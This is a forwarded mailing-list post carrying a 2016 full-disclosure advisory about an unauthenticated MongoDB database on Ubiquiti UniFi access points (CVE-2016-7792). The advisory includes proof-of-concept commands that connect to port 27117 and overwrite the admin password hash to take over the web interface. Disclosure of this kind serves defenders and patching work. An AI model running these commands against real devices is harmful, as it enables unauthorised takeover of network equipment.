Don’t have time to test this out but thought I’d pass this along ….
My first thought is why anyone would have their ports exposed across the
internet to allow this to happen, if it’s possibly true….
Paul
> Begin forwarded message:
>
> From: Tim Schughart <t.schugh...@prosec-networks.com>
> Subject: [FD] Critical Vulnerability in Ubiquiti UniFi
> Date: September 30, 2016 at 5:49:26 AM EDT
> To: fulldisclos...@seclists.org, bugt...@securityfocus.com,
> webapp...@securityfocus.com
> Cc: "Khanh Quoc. Pham" <k.p...@prosec-networks.com>
>
> Hello @all,
>
> together with my colleague we found two uncritical vulnerabilities you'll
> find below.
>
> Product: UniFi AP AC Lite
> Vendor: Ubiquiti Networks Inc.
>
> Internal reference: ? (Bug ID)
> Vulnerability type: Incorrect access control
> Vulnerable version: Unify 5.2.7 and possible other versions affected (not
> tested)
> Vulnerable component: Database
> Report confidence: yes
> Solution status: Not fixed by Vendor, the bug is a feature.
> Fixed versions: -
> Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec
> Networks
> Solution date: -
> Public disclosure: 2016-09-30
> CVE reference: CVE-2016-7792
> CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
>
>
> Vulnerability Details:
> You are able to connect to the access points database, because of an broken
> authentication (OWASP TOP10). So you are able to modify the database and read
> the data. An possible scenario you'll find in PoC section.
>
> Risk:
> An attacker gets access to the database and for e.g. is able to change the
> admins password, like you see in PoC below.
>
> PoC:
> 1. Generate SHA512 Hash with e.g.
> mkpasswd -m sha-512
>
> 2. Connect via network to database, e.g. :
> mongo --port 27117 --host target_ip
>
> 3. Change password via command
> "db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
> "$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
> 4. Login via web interface with new password
>
>
> Best regards / Mit freundlichen Grüßen
>
>
> Tim Schughart
> CEO / Geschäftsführer
>
> --
> ProSec Networks e.K.
> Ellingshohl 82
> 56077 Koblenz
>
> Website: https://www.prosec-networks.com
> E-Mail: t.schugh...@prosec.networks.com
> Mobile: +49 (0)157 7901 5826
> Phone: +49 (0)261 450 930 90
>
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